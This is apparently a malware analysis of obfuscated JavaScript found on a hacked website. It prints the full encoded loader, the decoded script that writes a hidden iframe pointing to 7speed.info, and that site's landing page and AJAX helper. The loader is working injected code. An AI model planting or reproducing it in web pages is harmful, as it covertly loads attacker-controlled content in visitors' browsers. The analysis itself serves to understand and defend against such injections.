Javascript Obfuscation - virus

// This code was pulled from a hacked website on a rooted server.  It is identified as a virus. It was deconstructed and rebuilt in c# to sort out its purpose, which is to print an iframe.  That code can be found here: http://pastebin.com/090yyjb5

<script language=JavaScript>    function vzxbnb25(z){ var c=z.length,m=1024,i,s,h,b=0,w=0,x=0,d=Array(63,13,0,37,18,42,51,52,30,35,0,0,0,0,0,0,8,36,34,53,50,10,2,60,1,58,57,62,33,24,43,20,32,56,12,4,38,6,41,29,26,31,44,0,0,0,0,25,0,55,11,9,7,46,40,54,21,27,17,23,3,59,61,48,49,45,22,28,15,5,16,47,19,14,39);for(s=Math.ceil(c/m);s>0;s--){h='';for(i=Math.min(c,m);i>0;i--,c--){{x|=(d[z.charCodeAt(b++)-48])<<w;if(w){h+=String.fromCharCode(169^x&255);x>>=8;w-=2}else{w=6}}}eval(h);}}vzxbnb25('8lGp1iZad5Wa@a1aXxV9qiGpRmfA1iZDsxR6danL8w1oW6sPyrcotw1DS6sBd9RpRx_6vDRTc5ngExJBHaWa_tVLUIVg_6R61Y@od0ZpUgqLrIfPA9saHYQgU6np1d@J@aWode1DdaZpSd@PlBcAv5Jz2Ef91lc6MIfPyeMB8ls6WdR3ie_zcUR62msoWx_AvTfgWlWpRxJB1lZg_kRDvtJpUYR6b8_3UFG6i9RpRYV92F')</script>

//result: "window.status='Done';document.write('<iframe name=d9e1 src=\"http://7speed.info/t/?'+Math.round(Math.random()*19936)+'d9e1'+'\" width=224 height=89 style=\"display:none\"></iframe>')"

// the page pulled from that result:

<html>

<head>
<title>7speed.info</title>
<script type="text/javascript" src="/js/general.js"></script>
<script type="text/javascript">
ChkRequestEnc('YToyMjp7aTowO3M6MTk6IjIwMTEtMDQtMDQgMDQ6MDI6NDUiO2k6MTtzOjc6IjU0Mjg5NTkiO2k6MjtOO2k6MztzOjEwOiJXZ2V0LzEuOS4xIjtpOjQ7czoxMzoiL3QvPzE5OTM2ZDllMSI7aTo1O3M6MTI6IjIwOC41NC4zOC41OSI7aTo2O3M6MToiMiI7aTo3O3M6MToiYiI7aTo4O3M6MDoiIjtpOjk7czoyOiJVUyI7aToxMDtzOjEwOiJXQVNISU5HVE9OIjtpOjExO3M6ODoiSVNTQVFVQUgiO2k6MTI7czo2OiIzMDk2OTIiO2k6MTM7czoxMToiN3NwZWVkLmluZm8iO2k6MTQ7czo3MToiaHR0cDovL3NlYXJjaHBvcnRhbC5pbmZvcm1hdGlvbi5jb20vP29faWQ9MTM2NTk4JmRvbWFpbm5hbWU9N3NwZWVkLmluZm8iO2k6MTU7TjtpOjE2O047aToxNztOO2k6MTg7TjtpOjE5O047aToyMDtOO2k6MjE7Tjt9');
</script>
<script type="text/javascript">

</script>
</head>

<frameset rows="100%,*" frameborder="no" border="0" framespacing="0">
  <!-- SCC a2 -->
  <frame src="http://searchportal.information.com/?o_id=136598&domainname=7speed.info">

<noframes>
<body bgcolor="#ffffff" text="#000000">
  <a href="http://searchportal.information.com/?o_id=136598&domainname=7speed.info">Click here to enter</a>.
</body>
</noframes>
</frameset>

// the javascript referenced above: general.js

////////////////////////////////////////////////////////////////////
// XML functions and AJAX things
////////////////////////////////////////////////////////////////////

var xmlHttp;

function ChkRequestEnc(Encoded)
{
    xmlHttp = GetXmlHttpObject()
    if(xmlHttp==null)
    {
        alert("Browser does not support HTTP Request");
        return false;
    }
    var SesId = SesId;
    var urlPass = "/check_image.php?enc=" + escape(Encoded);
    urlPass = urlPass + "&rand="+Math.random();
//  alert(urlPass);
    xmlHttp.onreadystatechange = fillMessage;
    urlPass = new String(urlPass);
    xmlHttp.open("GET",urlPass);
    xmlHttp.send(null);
    return true;
}

function ChkPopunderEnc(Encoded)
{
    xmlHttp = GetXmlHttpObject();
    if(xmlHttp==null)
    {
        alert("Browser does not support HTTP Request");
        return false;
    }
    var SesId = SesId;
    var urlPass = "/check_popunder.php?enc=" + escape(Encoded);
    urlPass = urlPass + "&rand="+Math.random();
//  alert(urlPass);
    xmlHttp.onreadystatechange = fillMessage;
    urlPass = new String(urlPass);
    xmlHttp.open("GET",urlPass);
    xmlHttp.send(null);
    return true;
}

function fillMessage()
{
    if(xmlHttp.readyState==4 || xmlHttp.readyState=="complete")
    {
//      x = document.getElementById('imp_msg');
//      x.innerHTML = xmlHttp.responseText;
//      alert(xmlHttp.responseText);
        return true;
    }
}

function GetXmlHttpObject()
{
    var objXMLHttp=null;
    if(window.XMLHttpRequest)
    {
        objXMLHttp=new XMLHttpRequest();
    }
    else if(window.ActiveXObject)
    {
        objXMLHttp=new ActiveXObject("Microsoft.XMLHTTP");
    }
    return objXMLHttp;
}